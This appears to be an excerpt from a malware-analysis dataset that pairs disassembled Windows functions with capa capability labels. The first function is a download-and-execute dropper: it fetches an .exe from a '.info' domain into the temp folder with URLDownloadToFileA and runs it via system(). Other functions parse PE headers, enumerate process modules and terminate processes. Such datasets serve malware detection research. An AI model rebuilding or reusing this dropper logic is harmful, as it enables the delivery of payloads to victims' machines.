joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40149e
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.3163230260
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d8_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilMemFree
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.de_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilIdsToA
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14016c140]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14016c150]
mov dword [rax], 1
mov rax, qword [0x14016c160]
mov dword [rax], 1
mov rax, qword [0x14016c0f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14016c130]
mov dword [0x14018000c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14016c210]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14016c1f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [str.0q_r_]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [str.pR_r_]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400071f0
Capabilities:
Read file via mapping

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rsi, rcx
add r8, rdx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
mov word [rsp + 0x60], 0
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x50]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h9b17f184b9
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x14000723b
lea rcx, [rsp + 0x38]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::hd6bb62c53f7038f3
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov word [rax + rdx*2], 0
inc qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rbx, rax
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x14000729c
mov rcx, qword [rsp + 0x38]
add rdx, rdx
mov r8d, 2
call sym.__rust_dealloc
cmp rbx, 0xffffffffffffffff
je 0x14000733d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
mov r8d, 2
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rdi, rax
mov rcx, rbx
call fcn.1400d47f8
test rdi, rdi
je 0x14000733d
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x140007363
mov rbx, rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
mov r8d, 0x30
mov rcx, rax
call sub.KERNEL32.dll_VirtualQuery
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rax
mov qword [rsi], 0
jmp 0x140007355
call sym.std::sys::windows::os::errno::haaa9f4041cbab48d
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rax, rsi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
ret
call sym.std::sys::windows::os::errno::haaa9f4041cbab48d
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov rcx, rdi
call fcn.1400d47f8
mov qword [rsi + 8], rbx
jmp 0x14000734e
Function at 0x1400079f0
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rdx, qword [rcx + 0x18]
lea rax, [rdx - 2]
cmp rax, 4
jb 0x140007b2c
cmp rdx, 2
jb 0x140007b42
mov r8, rcx
mov r11, qword [rcx + 8]
lea r10, [rdx - 6]
lea eax, [r11*4]
test r11, r11
je 0x140007a9d
mov r14, qword [r8]
shl r11, 2
xor r9d, r9d
jmp 0x140007a8d
movzx ecx, byte [r14 + r9]
movzx ebp, byte [r14 + r9 + 1]
movzx ebx, byte [r14 + r9 + 2]
movzx edi, byte [r14 + r9 + 3]
movzx esi, cl
mov ecx, r9d
rol esi, cl
movzx ebp, bpl
lea ecx, [r9 + 1]
rol ebp, cl
movzx ebx, bl
lea ecx, [r9 + 2]
rol ebx, cl
add esi, eax
add ebp, esi
movzx eax, dil
lea ecx, [r9 + 3]
rol eax, cl
add ebx, ebp
add eax, ebx
add r9, 4
cmp r11, r9
je 0x140007a9d
cmp r9d, 0x3c
jne 0x140007a40
xor ecx, ecx
xor ebp, ebp
xor ebx, ebx
xor edi, edi
jmp 0x140007a57
cmp r10, 2
jb 0x140007b21
mov r8, qword [r8 + 0x10]
mov r9d, dword [r8 + 4]
test dl, 2
jne 0x140007ad6
mov ebp, dword [r8 + 0x10]
xor ebp, r9d
mov ecx, dword [r8 + 0x14]
xor ecx, r9d
add r8, 0x18
lea r10, [rdx - 8]
rol ebp, cl
add eax, ebp
and rdx, 0xfffffffffffffffe
cmp rdx, 8
jne 0x140007af0
jmp 0x140007b21
add r8, 0x10
and rdx, 0xfffffffffffffffe
cmp rdx, 8
je 0x140007b21
nop word cs:[rax + rax]
mov edx, dword [r8]
xor edx, r9d
mov ecx, dword [r8 + 4]
xor ecx, r9d
rol edx, cl
add edx, eax
mov eax, dword [r8 + 8]
xor eax, r9d
mov ecx, dword [r8 + 0xc]
xor ecx, r9d
rol eax, cl
add r10, 0xfffffffffffffffc
add eax, edx
add r8, 0x10
cmp r10, 1
ja 0x140007af0
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea r8, str._home_kali_.cargo_registry_src_github.com_1ecc6299db9ec823_pelite_0.9.2_src_rich_structure.rs
mov ecx, 4
mov rdx, rax
call dbg.slice_index_order_fail
ud2
lea r8, str._home_kali_.cargo_registry_src_github.com_1ecc6299db9ec823_pelite_0.9.2_src_rich_structure.rs
mov rcx, rax
call dbg.slice_end_index_len_fail
ud2

Function at 0x1400085c0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdi, rcx
lea rcx, [rsp + 0x28]
call sym.core::fmt::Formatter::debug_list::h6eeb7a9c7fb15b23
mov rsi, qword [rdi + 8]
cmp rsi, 2
jb 0x14000863c
mov ebp, dword [rdi + 0x10]
mov rdi, qword [rdi]
lea r14, sym._ZN4core3ptr114drop_in_place_LT__RF_std..collections..hash..map..HashMap_LT_alloc..string..String_C_alloc..string..String_GT__
lea r15, [rsp + 0x28]
lea rbx, [rsp + 0x20]
nop word [rax + rax]
mov eax, dword [rdi]
xor eax, ebp
movzx ecx, ax
and eax, 0xffff0000
mov edx, dword [rdi + 4]
xor edx, ebp
shl rdx, 0x20
or rax, rdx
or rcx, rax
add rsi, 0xfffffffffffffffe
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov rdx, rbx
mov r8, r14
call sym.core::fmt::builders::DebugSet::entry::hbca416d1612bdbd2
add rdi, 8
cmp rsi, 1
ja 0x140008600
lea rcx, [rsp + 0x28]
call sym.core::fmt::builders::DebugList::finish::h01d7a759a88e2ef9
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000bad0
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
mov r8d, 1
mov r9d, 0x100
cmp rdx, 0x40
jae 0x14000baeb
xor eax, eax
jmp 0x14000bbe1
test cl, 3
je 0x14000bafd
xor eax, eax
mov r9d, 0x400
jmp 0x14000bbe1
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x14000bbd9
mov r10d, dword [rcx + 0x3c]
test r10b, 3
jne 0x14000baf0
cmp r10d, 0x1000000
jbe 0x14000bb2b
xor eax, eax
mov r9d, 0x700
jmp 0x14000bbe1
lea r11, [r10 + 0x88]
cmp r11, rdx
ja 0x14000bae4
cmp dword [rcx + r10], 0x4550
jne 0x14000bbd9
movzx esi, word [rcx + r10 + 0x18]
cmp esi, 0x20b
je 0x14000bb5b
cmp esi, 0x10b
jne 0x14000bbd9
mov edi, dword [rcx + r10 + 0x54]
cmp rdi, rdx
ja 0x14000bae4
mov eax, dword [rcx + r10 + 0x50]
cmp edi, eax
ja 0x14000bb1e
movzx esi, si
cmp esi, 0x20b
jne 0x14000bbea
mov esi, dword [rcx + r10 + 0x84]
cmp esi, 0x10
mov edi, 0x10
cmovb edi, esi
shl edi, 3
add r11, rdi
cmp r11, rdx
ja 0x14000bae4
movzx edi, word [rcx + r10 + 6]
cmp rdi, 0x60
ja 0x14000bb1e
lea rdi, [rdi + rdi*4]
lea rdi, [r10 + rdi*8]
movzx ecx, word [rcx + r10 + 0x14]
add rcx, rdi
add rcx, 0x18
cmp rcx, rdx
ja 0x14000bae4
shl rax, 0x20
xor r9d, r9d
xor r8d, r8d
jmp 0x14000bbe1
xor eax, eax
mov r9d, 0x500
or rax, r8
or rax, r9
pop rdi
pop rsi
ret
mov r9d, 0x600
xor eax, eax
jmp 0x14000bbe1

Function at 0x14000bd80
Capabilities:
Enumerate pe sections

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
mov rax, rcx
test r9d, r9d
je 0x14000bdae
mov rcx, qword [rsp + 0x68]
mov ebp, r9d
add rbp, rdx
dec rcx
test rcx, rbp
je 0x14000bdb7
mov byte [rax + 8], 4
jmp 0x14000be7e
mov byte [rax + 8], 0
jmp 0x14000be7e
mov r10, qword [rsp + 0x60]
mov r11d, dword [rdx + 0x3c]
lea rcx, [rdx + r11]
movzx r14d, word [rdx + r11 + 0x14]
lea rdi, [r14 + rcx]
add rdi, 0x18
movzx ecx, word [rdx + r11 + 6]
shl rcx, 3
lea r15, [rcx + rcx*4]
xor esi, esi
nop word cs:[rax + rax]
cmp r15, rsi
je 0x14000be51
lea rbp, [rdi + 0x28]
mov ecx, dword [rdi + 8]
mov ebx, dword [rdi + 0x10]
cmp ecx, ebx
cmovbe ecx, ebx
mov r12d, dword [rdi + 0xc]
add rsi, 0x28
mov rdi, rbp
cmp r12d, r9d
ja 0x14000bdf0
add ecx, r12d
mov rdi, rbp
sub ecx, r9d
jbe 0x14000bdf0
add r11, r14
add r11, rdx
mov esi, dword [rsi + r11 + 4]
add ebx, esi
setb r11b
cmp rbx, r8
seta r8b
or r8b, r11b
sub rbx, rsi
mov edi, 8
test r8b, r8b
cmove rdi, rbx
je 0x14000be57
mov byte [rax + 8], dil
jmp 0x14000be7e
mov byte [rax + 8], 1
jmp 0x14000be7e
sub r9d, r12d
sub rdi, r9
jb 0x14000be73
cmp rdi, r10
jb 0x14000be73
add rdx, rsi
add rdx, r9
mov qword [rax], rdx
mov qword [rax + 8], rdi
jmp 0x14000be85
cmp rcx, r10
mov cl, 2
sbb cl, 0
mov byte [rax + 8], cl
mov qword [rax], 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x14000bfc0
Capabilities:
Parse pe header

Disassembly:
push r14
push rsi
push rdi
push rbx
mov r8d, 1
mov r9d, 0x100
cmp rdx, 0x40
jae 0x14000bfde
xor eax, eax
jmp 0x14000c0e8
test cl, 3
je 0x14000bff0
xor eax, eax
mov r9d, 0x400
jmp 0x14000c0e8
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x14000c0e0
mov r10d, dword [rcx + 0x3c]
test r10b, 3
jne 0x14000bfe3
cmp r10d, 0x1000000
jbe 0x14000c01e
xor eax, eax
mov r9d, 0x700
jmp 0x14000c0e8
lea r11, [r10 + 0x78]
cmp r11, rdx
ja 0x14000bfd7
cmp dword [rcx + r10], 0x4550
jne 0x14000c0e0
movzx edi, word [rcx + r10 + 0x18]
cmp edi, 0x20b
je 0x14000c04f
cmp edi, 0x10b
jne 0x14000c0e0
mov esi, dword [rcx + r10 + 0x54]
cmp rsi, rdx
ja 0x14000bfd7
mov r14d, dword [rcx + r10 + 0x50]
xor ebx, ebx
cmp esi, r14d
seta bl
or rbx, 6
shl rbx, 8
xor eax, eax
cmp esi, r14d
ja 0x14000c0f4
movzx esi, di
cmp esi, 0x10b
jne 0x14000c0f4
mov eax, dword [rcx + r10 + 0x74]
cmp eax, 0x10
mov esi, 0x10
cmovb esi, eax
shl esi, 3
add r11, rsi
cmp r11, rdx
ja 0x14000bfd7
movzx eax, word [rcx + r10 + 6]
cmp rax, 0x60
ja 0x14000c011
lea rax, [rax + rax*4]
lea rax, [r10 + rax*8]
movzx ecx, word [rcx + r10 + 0x14]
add rax, rcx
add rax, 0x18
cmp rax, rdx
ja 0x14000bfd7
shl r14, 0x20
xor r9d, r9d
mov rax, r14
xor r8d, r8d
jmp 0x14000c0e8
xor eax, eax
mov r9d, 0x500
or rax, r8
or rax, r9
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r9, rbx
jmp 0x14000c0e8

Function at 0x14000d290
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rdx + 8]
cmp rdi, 2
jb 0x14000d2fc
mov ebp, dword [rdx + 0x10]
mov rbx, qword [rdx]
lea r14, sym._ZN4core3ptr114drop_in_place_LT__RF_std..collections..hash..map..HashMap_LT_alloc..string..String_C_alloc..string..String_GT__
lea r15, [rsp + 0x20]
nop dword [rax + rax]
mov eax, dword [rbx]
xor eax, ebp
movzx ecx, ax
and eax, 0xffff0000
mov edx, dword [rbx + 4]
xor edx, ebp
shl rdx, 0x20
or rax, rdx
or rcx, rax
add rdi, 0xfffffffffffffffe
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, r15
mov r8, r14
call sym.core::fmt::builders::DebugSet::entry::hbca416d1612bdbd2
add rbx, 8
cmp rdi, 1
ja 0x14000d2c0
mov rax, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14001caa0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
mov r9, rcx
add qword [rcx + 0x10], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14001cae7
mov r15d, 8
sub r15, r11
cmp r8, r15
mov rax, r15
cmovb rax, r8
cmp rax, 3
jbe 0x14001caef
mov r14d, dword [rdx]
mov r10d, 4
mov rcx, r10
or rcx, 1
cmp rcx, rax
jb 0x14001cb01
jmp 0x14001cb18
xor r15d, r15d
jmp 0x14001cba5
xor r10d, r10d
xor r14d, r14d
mov rcx, r10
or rcx, 1
cmp rcx, rax
jae 0x14001cb18
movzx edi, word [rdx + r10]
lea ecx, [r10*8]
shl rdi, cl
or r14, rdi
or r10, 2
cmp r10, rax
jae 0x14001cb2f
movzx eax, byte [rdx + r10]
shl r10d, 3
mov ecx, r10d
shl rax, cl
or r14, rax
lea ecx, [r11*8]
shl r14, cl
or r14, qword [r9 + 0x38]
mov qword [r9 + 0x38], r14
cmp r15, r8
jbe 0x14001cb4f
add r11, r8
jmp 0x14001cc8a
mov rdi, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x28]
mov rax, qword [r9 + 0x18]
add rax, rcx
rol rcx, 0xd
xor rdi, r14
xor rcx, rax
rol rax, 0x20
mov rsi, qword [r9 + 0x20]
add rsi, rdi
rol rdi, 0x10
xor rdi, rsi
add rax, rdi
rol rdi, 0x15
xor rdi, rax
add rsi, rcx
rol rcx, 0x11
mov qword [r9 + 0x30], rdi
xor rcx, rsi
rol rsi, 0x20
mov qword [r9 + 0x28], rcx
mov qword [r9 + 0x20], rsi
xor rax, r14
mov qword [r9 + 0x18], rax
sub r8, r15
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r15, r8
jae 0x14001cc23
mov rax, qword [r9 + 0x30]
mov rsi, qword [r9 + 0x18]
mov rcx, qword [r9 + 0x20]
mov rdi, qword [r9 + 0x28]
nop dword [rax + rax]
add rsi, rdi
rol rdi, 0xd
mov rbx, qword [rdx + r15]
xor rdi, rsi
rol rsi, 0x20
xor rax, rbx
add rcx, rax
rol rax, 0x10
xor rax, rcx
add rsi, rax
rol rax, 0x15
add rcx, rdi
rol rdi, 0x11
xor rdi, rcx
rol rcx, 0x20
xor rax, rsi
xor rsi, rbx
add r15, 8
cmp r15, r8
jb 0x14001cbd0
mov qword [r9 + 0x30], rax
mov qword [r9 + 0x18], rsi
mov qword [r9 + 0x28], rdi
mov qword [r9 + 0x20], rcx
cmp r11d, 3
jbe 0x14001cc41
mov esi, dword [rdx + r15]
mov r8d, 4
mov rax, r8
or rax, 1
cmp rax, r11
jb 0x14001cc52
jmp 0x14001cc6c
xor r8d, r8d
xor esi, esi
mov rax, r8
or rax, 1
cmp rax, r11
jae 0x14001cc6c
lea rax, [r8 + r15]
movzx eax, word [rdx + rax]
lea ecx, [r8*8]
shl rax, cl
or rsi, rax
or r8, 2
cmp r8, r11
jae 0x14001cc86
add r15, r8
movzx eax, byte [rdx + r15]
shl r8d, 3
mov ecx, r8d
shl rax, cl
or rsi, rax
mov qword [r9 + 0x38], rsi
mov qword [r9 + 0x40], r11
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x14001e7e0
Capabilities:
Terminate process

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rdx]
mov edx, r8d
call sub.KERNEL32.dll_TerminateProcess
test eax, eax
je 0x14001e800
mov qword [rsi], 4
jmp 0x14001e818
call sym.std::sys::windows::os::errno::haaa9f4041cbab48d
shl rax, 0x20
or rax, 2
mov qword [rsi], 0
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret
Function at 0x14001e950
Capabilities:
Enumerate process modules

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov r13, rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x34], 0
mov edi, 8
lea r12, [rsp + 0x34]
lea r15, [rsp + 0x40]
xor r14d, r14d
xor esi, esi
jmp 0x14001e9ad
mov rsi, rbp
mov qword [rsp + 0x50], rsi
mov r14, rsi
mov esi, ebp
mov rcx, qword [r13]
lea r8d, [r14*8]
mov dword [rsp + 0x20], 3
mov rdx, rdi
mov r9, r12
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x14001ea5e
mov ebp, dword [rsp + 0x34]
cmp ebp, esi
jbe 0x14001eaab
cmp r14, rbp
jae 0x14001e9a0
mov rbx, rbp
sub rbx, r14
mov rax, qword [rsp + 0x48]
sub rax, r14
mov rsi, r14
cmp rax, rbx
jae 0x14001ea13
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h1d52ad8cf9697045
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
lea rcx, [rdi + rsi*8]
cmp rbx, 2
jb 0x14001ea46
mov r8, r14
not r8
add r8, rbp
shl r8, 3
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [rsi + rbp]
sub rax, r14
lea rcx, [rdi + rax*8]
add rcx, 0xfffffffffffffff8
add rsi, rbx
dec rsi
cmp r14, rbp
je 0x14001e9a3
mov qword [rcx], 0
inc rsi
jmp 0x14001e9a3
call sym.std::sys::windows::os::errno::haaa9f4041cbab48d
shl rax, 0x20
or rax, 2
mov rsi, qword [rsp + 0x38]
mov qword [rsi + 8], rax
mov qword [rsi], 0
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x14001ea97
shl rdx, 3
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rax, rsi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, rbp
shr r15, 3
cmp r14, r15
jb 0x14001eb34
cmp ebp, 8
jae 0x14001eac5
mov eax, 8
xor ecx, ecx
jmp 0x14001eb09
mov rsi, r15
shl rsi, 4
mov edx, 8
mov rcx, rsi
call sym.__rust_alloc
test rax, rax
je 0x14001eb48
xor edx, edx
xor ecx, ecx
nop word cs:[rax + rax]
mov rbp, qword [rdi + rcx*8]
mov qword [rax + rdx], rbp
mov qword [rax + rdx + 8], r13
inc rcx
add rdx, 0x10
cmp rsi, rdx
jne 0x14001eaf0
mov rsi, qword [rsp + 0x38]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rcx
mov qword [rsi], 4
mov rdx, qword [rsp + 0x48]
test rdx, rdx
jne 0x14001ea85
jmp 0x14001ea97
lea r8, str._home_kali_.cargo_registry_src_github.com_1ecc6299db9ec823_winproc_0.6.4_src_process_mod.rs
mov rcx, r15
mov rdx, r14
call dbg.slice_end_index_len_fail
jmp 0x14001eb55
mov edx, 8
mov rcx, rsi
call dbg.handle_alloc_error
ud2
Function at 0x140023830
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rdi
sub rsp, 0x1f8
mov rax, qword [rcx]
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
je 0x140023888
lea rsi, [rsp + 0x60]
mov r8d, 0x198
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov cx, 0x202
mov rdx, rsi
call sub.WS2_32.dll_WSAStartup
mov dword [rsp + 0x2c], eax
test eax, eax
jne 0x1400238a2
lea rax, [0x1400d4928]
mov qword [rdi], rax
add rsp, 0x1f8
pop rdi
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_897e37553bba8b42751c67658967889d11ecd120library_alloc_srccollections_btreemapentry.rs
lea r8, str.library_std_src_synconce.rs
mov edx, 0x2b
call dbg.panic
ud2
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x2c]
lea rdx, [rsp + 0x30]
call dbg.assert_failed<i32, i32>
ud2

Function at 0x14003fbf0
Capabilities:
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rcx
mov rsi, qword [rcx + 0x18]
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fc10
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
cmp qword [rdi], 0
je 0x14003fc38
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14003fc38
lock dec qword [rax]
jne 0x14003fc38
mov rcx, qword [rdi + 0x10]
call dbg.drop_slow<std::thread::Inner>
mov edx, 0x20
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fc5e
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp sub.KERNEL32.dll_TlsSetValue

Function at 0x14003fc80
Capabilities:
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rcx
mov rsi, qword [rcx + 0x10]
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fca0
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
cmp qword [rdi], 0
je 0x14003fcc8
mov rax, qword [rdi + 8]
test rax, rax
je 0x14003fcc8
lock dec qword [rax]
jne 0x14003fcc8
mov rcx, qword [rdi + 8]
call dbg.drop_slow<std::sync::mutex::Mutex<alloc::vec::Vec<u8, alloc::alloc::Global>>>
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fcee
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp sub.KERNEL32.dll_TlsSetValue

Function at 0x14003fd10
Capabilities:
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rcx
mov rsi, qword [rcx + 0x10]
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fd30
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fd60
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp sub.KERNEL32.dll_TlsSetValue
Function at 0x14003fd80
Capabilities:
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rcx
mov rsi, qword [rcx + 0x18]
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fda0
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
mov edx, 0x20
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fdd0
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp sub.KERNEL32.dll_TlsSetValue

